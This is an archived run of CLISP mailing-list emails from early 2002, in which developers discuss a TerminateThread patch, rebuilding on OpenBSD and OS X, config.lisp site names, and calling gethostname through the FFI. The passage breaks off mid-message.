<3c57defc.239941875@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c57defc.239941875@smtp.interaccess.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 12:48:03 2002 X-Original-Date: 30 Jan 2002 15:44:08 -0500 > * In message <3c57defc.239941875@smtp.interaccess.com> > * On the subject of "[clisp-list] Solution to TerminateThread bug." > * Sent on Wed, 30 Jan 2002 15:20:04 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > 98,99c98,101 > < if (!TerminateThread(interruptible_thread,1+CtrlType)) { > < OS_error(); > --- > > if(interruptible_active){ > > if (!TerminateThread(interruptible_thread,1+CtrlType)) { > > OS_error(); > > } since 3 lines above of this we set interruptible_active to false, this change just disables TerminateThread(). please use "diff -c" next time. thanks for your explanations. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Press any key to continue or any other key to quit. From olczyk@interaccess.com Wed Jan 30 13:46:01 2002 Received: from from.interaccess.com ([207.208.131.20] helo=neuman.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16W2YL-0000W3-00 for ; Wed, 30 Jan 2002 13:46:01 -0800 Received: from d185.focal10.interaccess.com (d185.focal10.interaccess.com [207.208.141.185]) by neuman.interaccess.com (8.10.2/8.10.2) with SMTP id g0ULjra05859 for ; Wed, 30 Jan 2002 15:45:53 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@sourceforge.net Subject: Re: [clisp-list] Solution to TerminateThread bug. Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c5a6994.275421421@smtp.interaccess.com> References: <3c57defc.239941875@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 13:47:03 2002 X-Original-Date: Wed, 30 Jan 2002 21:46:15 GMT On 30 Jan 2002 15:44:08 -0500, Sam Steingold wrote: >> * In message <3c57defc.239941875@smtp.interaccess.com> >> * On the subject of "[clisp-list] Solution to TerminateThread bug." >> * Sent on Wed, 30 Jan 2002 15:20:04 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> 98,99c98,101 >> < if (!TerminateThread(interruptible_thread,1+CtrlType)) { >> < OS_error(); >> --- >> > if(interruptible_active){ =20 >> > if (!TerminateThread(interruptible_thread,1+CtrlType)) { >> > OS_error(); >> > } > >since 3 lines above of this we set interruptible_active to false, >this change just disables TerminateThread(). > Your right. I saw it and then promply forgot about it. It complicates things because whoever wrote this decided to use the interruptible_active to denote two things: 1) To describe the state of the interuptible thread ( is it or is it not active?) 2) To act as a state machine to tell itself that it has already been interupted once and not to do it again. It should not call TerminateThread, but One of the tests I ran was to break into an infinite loop. Strange. The solutions I see are to move the assignment downward or to break=20 the variable into two parts, one for the active state, one for describing the handler state. I'll check on both tonight. >please use "diff -c" next time. > >thanks for your explanations. From william.newman@airmail.net Wed Jan 30 19:21:29 2002 Received: from mx1.airmail.net ([209.196.77.98]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16W7mz-0005t7-00 for ; Wed, 30 Jan 2002 19:21:29 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx1.airmail.net with smtp (Exim 3.16 #10) id 16W7mx-00089J-00 for clisp-list@sourceforge.net; Wed, 30 Jan 2002 21:21:27 -0600 Received: from balefire.localdomain from [207.136.38.31] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 30 Jan 2002 21:21:26 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g0V39Iq00569; Wed, 30 Jan 2002 21:09:18 -0600 (CST) From: William Harold Newman To: clisp-list@sourceforge.net Message-ID: <20020131030917.GA4348@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i Subject: [clisp-list] CLISP on OpenBSD again Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 19:22:02 2002 X-Original-Date: Wed, 30 Jan 2002 21:09:17 -0600 I've had two problems with rebuilding CLISP from current CVS on my OpenBSD 2.9 system. I don't think my first problem was OpenBSD specific. What's the recommended procedure for rebuilding after "cvs update"? I tried to follow the procedure in unix/INSTALL, but "configure" failed: balefire:clisp/ $ ./configure ; beep /usr/local/src/clisp/modules ../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings Since I don't know enough to confidently clean up the CLISP directory system by hand, I just punted and checked out a fresh copy. But that seems suboptimal. Is there some sort of automated cleanup that I should be doing before re-running configure? Or is it forbidden ever to re-run configure after you've run it once? Did I just overlook something obvious in INSTALL or elsewhere which guides me through the gotchas of doing a build more than once in the same directory? In my freshly checked-out directory, I got through the basic "make" step successfully, but "make check" failed, with the tail of the output looking like cmp -s deprecated.fas stage/deprecated.fas || (echo "Test failed." ; exit 1) cmp -s config.fas stage/config.fas || (echo "Test failed." ; exit 1) echo "Test passed." Test passed. mkdir suite cd suite && ln -s ../../tests/Makefile . cd suite && ln -s ../../tests/*.lisp . cd suite && ln -s ../../tests/*.tst . LISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -norc"; export LISP; cd suite; make LISP="$LISP" "Makefile", line 2: Missing dependency operator "Makefile", line 5: Need an operator "Makefile", line 8: Need an operator Fatal errors encountered -- cannot continue *** Error code 1 My guess is that ifneq isn't available in the basic implementation that you get when you type "make" on an OpenBSD system. I'm not sure of that: I looked in OpenBSD "man make" and in the info pages for GNU make, and didn't get a quick definite answer. But if I'm right, then perhaps CLISP should hunt down GNU make (commonly installed as gmake, and probably findable by configure) instead of just using whatever happens to be local "make"? Or perhaps the "make test" stuff could go back to whatever (non-GNU-specific?) stuff it used last year when I was able to build the system, including tests, on OpenBSD? -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From ampy@ich.dvo.ru Wed Jan 30 20:17:53 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16W8fO-0002Xb-00 for ; Wed, 30 Jan 2002 20:17:42 -0800 Received: (qmail 25671 invoked from network); 31 Jan 2002 04:17:34 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 31 Jan 2002 04:17:34 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Thu, 31 Jan 2002 14:06:19 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <69504329527.20020131140619@ich.dvo.ru> To: William Harold Newman CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP on OpenBSD again In-reply-To: <20020131030917.GA4348@balefire.localdomain> References: <20020131030917.GA4348@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 20:18:03 2002 X-Original-Date: Thu, 31 Jan 2002 14:06:19 +1000 William> I've had two problems with rebuilding CLISP from current CVS on William> my OpenBSD 2.9 system. William> I don't think my first problem was OpenBSD specific. What's the William> recommended procedure for rebuilding after "cvs update"? William> I tried William> to follow the procedure in unix/INSTALL, but "configure" failed: William> balefire:clisp/ $ ./configure ; beep William> /usr/local/src/clisp/modules William> ../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings I currently use './configure build/winter', so that build takes place in 'build/winter'. If something goes wrong I'm deleting build/winter and doing configure again. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From rog@stanford.edu Thu Jan 31 00:06:03 2002 Received: from saga17.stanford.edu ([171.64.15.147]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WCEN-0003OS-00 for ; Thu, 31 Jan 2002 00:06:03 -0800 Received: (from rog@localhost) by saga17.Stanford.EDU (8.11.6/8.11.6) id g0V85v905260; Thu, 31 Jan 2002 00:05:57 -0800 (PST) From: Roger Levy To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLISP newbie: question on building sources Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 00:07:01 2002 X-Original-Date: Thu, 31 Jan 2002 00:05:57 -0800 (PST) Hi, I'm trying to install CLISP for the first time on an at-home Linux box and I'm stumped on something. In step 5 of the installation instructions, it says to edit the config.lisp file, especially the definitions of the long and short site names. I cannot figure out what these are supposed to be. Is it the path to the directories that I'm installing to? Sorry this is clearly an elementary question but I don't seem to be able to find the answer. Perhaps if someone could point me to a sample edited config.lisp file, it would be sufficient. Thanks in advance, Roger From edi@agharta.de Thu Jan 31 00:57:35 2002 Received: from bird.agharta.de ([62.159.208.85]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WD2B-0007lm-00 for ; Thu, 31 Jan 2002 00:57:32 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 6B0B812EB15; Thu, 31 Jan 2002 09:57:00 +0100 (CET) To: Roger Levy Cc: Subject: Re: [clisp-list] CLISP newbie: question on building sources References: From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 00:58:03 2002 X-Original-Date: 31 Jan 2002 09:56:59 +0100 Roger Levy writes: > I'm trying to install CLISP for the first time on an at-home Linux > box and I'm stumped on something. In step 5 of the installation > instructions, it says to edit the config.lisp file, especially the > definitions of the long and short site names. I cannot figure out > what these are supposed to be. Is it the path to the directories > that I'm installing to? > > Sorry this is clearly an elementary question but I don't seem to be > able to find the answer. Perhaps if someone could point me to a > sample edited config.lisp file, it would be sufficient. IIRC this is just the (network) name of your machine. From abramson@aic.nrl.navy.mil Thu Jan 31 06:24:43 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WI8o-0007LU-00 for ; Thu, 31 Jan 2002 06:24:42 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id JAA01286 for ; Thu, 31 Jan 2002 09:23:10 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g0VEN9E06203; Thu, 31 Jan 2002 09:23:09 -0500 (EST) To: clisp-list@lists.sourceforge.net From: myriam Subject: Re: [clisp-list] FFI question Reply-To: mabramso@gmu.edu In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 06:25:05 2002 X-Original-Date: 31 Jan 2002 09:23:09 -0500 > How do you make an ffi call to something like gethostname where the > value of host is passed through a pointer and not returned? > Unfortunately, I still don't have an answer for that. I did: (defconstant *hostname* (make-string 15)) (def-call-out gethostname (:arguments (hostname c-string) (len int)) (:return-type int)) (gethostname *hostname* 15) but that does not set the value of *hostname*. myriam From aerique@xs4all.nl Thu Jan 31 07:05:39 2002 Received: from smtpzilla3.xs4all.nl ([194.109.127.139]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WImP-0001GC-00 for ; Thu, 31 Jan 2002 07:05:38 -0800 Received: from xs4all.nl.xs4all.nl (ingrath.xs4all.nl [213.84.4.25]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id g0VF5Y5c046803 for ; Thu, 31 Jan 2002 16:05:35 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI question References: From: Erik Winkels In-Reply-To: Message-ID: <874rl24l8s.fsf@xs4all.nl> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 07:06:10 2002 X-Original-Date: 31 Jan 2002 16:02:11 +0100 myriam writes: > (defconstant *hostname* (make-string 15)) [...] > (gethostname *hostname* 15) Isn't that because you declared *hostname* to be a constant, hence its value cannot be changed anymore subsequently? Try defvar instead. From samuel.steingold@verizon.net Thu Jan 31 07:31:56 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WJBs-0000h7-00 for ; Thu, 31 Jan 2002 07:31:56 -0800 Received: from xchange.com ([12.25.11.194]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020131153154.QMSI16803.out020.verizon.net@xchange.com>; Thu, 31 Jan 2002 09:31:54 -0600 To: mabramso@gmu.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI question References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 07:32:06 2002 X-Original-Date: 31 Jan 2002 10:28:18 -0500 > * In message > * On the subject of "Re: [clisp-list] FFI question" > * Sent on 31 Jan 2002 09:23:09 -0500 > * Honorable myriam writes: > > > How do you make an ffi call to something like gethostname where the > > value of host is passed through a pointer and not returned? > > Unfortunately, I still don't have an answer for that. commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp: (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ?? (:return-type int)) (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ?? (:return-type int)) please try this and report the results. Bruno should be able to give an authoritative question, but he is busy. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! OK, so you're a Ph.D. Just don't touch anything. From samuel.steingold@verizon.net Thu Jan 31 07:40:09 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WJJo-0002zV-00 for ; Thu, 31 Jan 2002 07:40:08 -0800 Received: from xchange.com ([12.25.11.194]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020131153959.IOFW25675.out006.verizon.net@xchange.com>; Thu, 31 Jan 2002 09:39:59 -0600 To: William Harold Newman Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP on OpenBSD again References: <20020131030917.GA4348@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020131030917.GA4348@balefire.localdomain> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 07:41:03 2002 X-Original-Date: 31 Jan 2002 10:36:27 -0500 > * In message <20020131030917.GA4348@balefire.localdomain> > * On the subject of "[clisp-list] CLISP on OpenBSD again" > * Sent on Wed, 30 Jan 2002 21:09:17 -0600 > * Honorable William Harold Newman writes: > > I've had two problems with rebuilding CLISP from current CVS on > my OpenBSD 2.9 system. > > I don't think my first problem was OpenBSD specific. What's the > recommended procedure for rebuilding after "cvs update"? I tried > to follow the procedure in unix/INSTALL, but "configure" failed: > balefire:clisp/ $ ./configure ; beep > /usr/local/src/clisp/modules > ../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings > Since I don't know enough to confidently clean up the CLISP directory > system by hand, I just punted and checked out a fresh copy. make clean or make distclean > Did I just overlook something obvious in INSTALL or elsewhere which > guides me through the gotchas of doing a build more than once in the > same directory? step 2 suggests giving ./configure a directory name as an argument. I always do $ rm -rf build; ./configure --build build -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! The world will end in 5 minutes. Please log out. From abramson@aic.nrl.navy.mil Thu Jan 31 08:06:15 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WJj3-0002ZR-00 for ; Thu, 31 Jan 2002 08:06:13 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id LAA02237 for ; Thu, 31 Jan 2002 11:04:40 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g0VG4eQ06547; Thu, 31 Jan 2002 11:04:40 -0500 (EST) To: clisp-list@lists.sourceforge.net From: myriam Subject: Re: [clisp-list] FFI question Reply-To: mabramso@gmu.edu In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 08:07:04 2002 X-Original-Date: 31 Jan 2002 11:04:40 -0500 > commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp: > > (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ?? > (:return-type int)) > > (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ?? > (:return-type int)) > > > please try this and report the results. Okay, I've defined gethostname as above and tried: (defvar *hostname* (make-string 15)) ;; I thought that a defconstant would make sure that the string does ;; not get garbage collected. (gethostname *hostname* 15) *** - "" cannot be converted to the foreign type FFI:C-POINTER Any ideas? > Bruno should be able to give an authoritative question, but he is > busy. If not, hopefully he'll clarify. I am surprised that it's commented out from the linux bindings. Unfortunately, I need to do something like that. myriam From amoroso@mclink.it Thu Jan 31 13:06:16 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16WOPO-0006YY-00 for ; Thu, 31 Jan 2002 13:06:14 -0800 Received: from net145-035.mclink.it (net145-035.mclink.it [195.110.145.35]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g0VL6AE10700 for ; Thu, 31 Jan 2002 22:06:10 +0100 (CET) From: Paolo Amoroso To: Subject: Re: [clisp-list] CLISP newbie: question on building sources Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 31 13:07:05 2002 X-Original-Date: Thu, 31 Jan 2002 22:02:23 +0100 On Thu, 31 Jan 2002 00:05:57 -0800 (PST), Roger Levy wrote: > says to edit the config.lisp file, especially the definitions of the long > and short site names. I cannot figure out what these are supposed to be. A suggestion: SHORT-SITE-NAME : "Roger Levy" LONG-SITE-NAME : "Roger Levy's Linux box for Lisp hacking--hands off" Or just set them to NIL. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From siegel@cs.umass.edu Sat Feb 02 08:05:28 2002 Received: from freya.cs.umass.edu ([128.119.240.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16X2fO-0000Nu-00 for ; Sat, 02 Feb 2002 08:05:26 -0800 Received: from caymus.cs.umass.edu (siegel@caymus.cs.umass.edu [128.119.244.28]) by freya.cs.umass.edu (8.8.8/8.8.8) with ESMTP id LAA03677 for ; Sat, 2 Feb 2002 11:05:23 -0500 (EST) From: Stephen Siegel To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] problem on OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 2 08:06:06 2002 X-Original-Date: Sat, 2 Feb 2002 11:05:23 -0500 (EST) Hi----can anyone tell me what I'm doing wrong trying to install clisp in OS X (10.1)...thanks, Steve bash-2.05$ ls ANNOUNCE MAGIC.add README SUMMARY data/ linkkit/ COPYRIGHT Makefile README.de base/ doc/ locale/ GNU-GPL NEWS README.es clisp-link* full/ src/ bash-2.05$ make cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a -o base/lisp.run /usr/bin/ld: table of contents for archive: base/lisp.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libintl.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libiconv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libreadline.a is out of date; rerun ranlib(1) (can't load from it) make: *** [base/lisp.run] Error 1 bash-2.05$ From dave@synergy.org Sat Feb 02 10:15:20 2002 Received: from 64-42-7-146.atgi.net ([64.42.7.146] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16X4h6-0002r0-00 for ; Sat, 02 Feb 2002 10:15:20 -0800 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.3779); Sat, 2 Feb 2002 10:15:13 -0800 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-OriginalArrivalTime: 02 Feb 2002 18:15:13.0849 (UTC) FILETIME=[8F1E1A90:01C1AC15] Subject: [clisp-list] clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 2 10:17:12 2002 X-Original-Date: Sat, 2 Feb 2002 10:15:13 -0800 I used configure/make to build the new-clx module in the 2.27 distribution. After cleaning up the Makefile a bit to use correct paths, I got it to generate a clx.lib/fas, image.lib/fas and a clx.o, which appear to be the appropriate build targets. What I do not understand is how to incorporate these into CLISP. I tried to load them in: [1]> (load 'clx) ;; Loading file /home/dave/clisp-2.27/modules/clx/new-clx/clx.fas ... *** - SYMBOL-FUNCTION: the function CLOSE-DOWN-MODE-SETTER is undefined 1. Break XLIB[2]> I'm sure this is a bone-headed question, but what steps follow after building the module? Thanks! Dave From rurban@x-ray.at Sat Feb 02 13:11:50 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16X7Rr-0004Mo-00 for ; Sat, 02 Feb 2002 13:11:48 -0800 Received: from [212.186.209.189] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16X7Rn-0008Ou-00 for clisp-list@lists.sourceforge.net; Sat, 02 Feb 2002 22:11:43 +0100 Message-ID: <3C5C560F.B73352A4@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp Subject: Re: [clisp-list] FFI question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 2 13:12:17 2002 X-Original-Date: Sat, 02 Feb 2002 21:11:43 +0000 myriam schrieb: > > > commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp: > > > > (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ?? > > (:return-type int)) > > > > (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ?? > > (:return-type int)) > > > > > > please try this and report the results. > > Okay, I've defined gethostname as above and tried: > > (defvar *hostname* (make-string 15)) > ;; I thought that a defconstant would make sure that the string does > ;; not get garbage collected. > > (gethostname *hostname* 15) > *** - " > foreign type FFI:C-POINTER > > Any ideas? defvar assigns a variable on the lisp heap, but the def-c-call-out gethostname needs a memory location on the extra c-heap, which is similar to a simple malloc there. does gethostname() strcpy the name to char* name or points to the string on the system heap? you would need something like this (untested) with a strcpy'ing gethostname. (ffi:def-c-call-out gethostname (:arguments (name c-string) (len size_t))(:return-type int)) (ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free)) (if (zerop (linux:gethostname 